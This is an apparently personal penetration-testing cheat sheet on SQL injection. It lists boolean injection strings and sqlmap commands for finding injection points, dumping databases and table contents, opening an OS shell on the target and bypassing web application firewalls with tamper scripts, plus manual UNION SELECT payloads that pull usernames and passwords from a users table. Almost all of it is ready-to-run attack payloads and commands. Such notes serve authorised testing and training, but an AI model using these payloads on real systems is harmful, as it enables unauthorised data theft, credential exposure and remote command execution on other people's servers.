> ## Documentation Index
> Fetch the complete documentation index at: https://notes.chaelsoo.me/llms.txt
> Use this file to discover all available pages before exploring further.

# SQL Injection

## Detection

Test with single quotes and boolean conditions: a syntax error or changed response confirms the injection point.

```wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
' OR '1'='1
' OR 1=1--
") OR ("1"="1
') OR ('1'='1
```

## sqlmap

Let sqlmap automate discovery and extraction: use `-r` with a saved Burp request for the cleanest results.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Basic
sqlmap -u "http://<IP>/page?id=1" --batch

# POST
sqlmap -u "http://<IP>/login" --data="user=admin&pass=test" --batch

# From Burp request
sqlmap -r request.txt --batch

# Dump
sqlmap -u "http://<IP>/page?id=1" --dbs --batch
sqlmap -u "http://<IP>/page?id=1" -D <db> --tables --batch
sqlmap -u "http://<IP>/page?id=1" -D <db> -T <table> --dump --batch

# OS shell
sqlmap -u "http://<IP>/page?id=1" --os-shell --batch

# WAF bypass
sqlmap -u "http://<IP>/page?id=1" --tamper=space2comment --batch
```

## Manual Union-Based

Determine the column count with ORDER BY, then use UNION SELECT to extract data: null-fill until the count matches.

```sql wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
ORDER BY 1--
ORDER BY 2--
UNION SELECT NULL,NULL,NULL--
UNION SELECT username,password,NULL FROM users--
```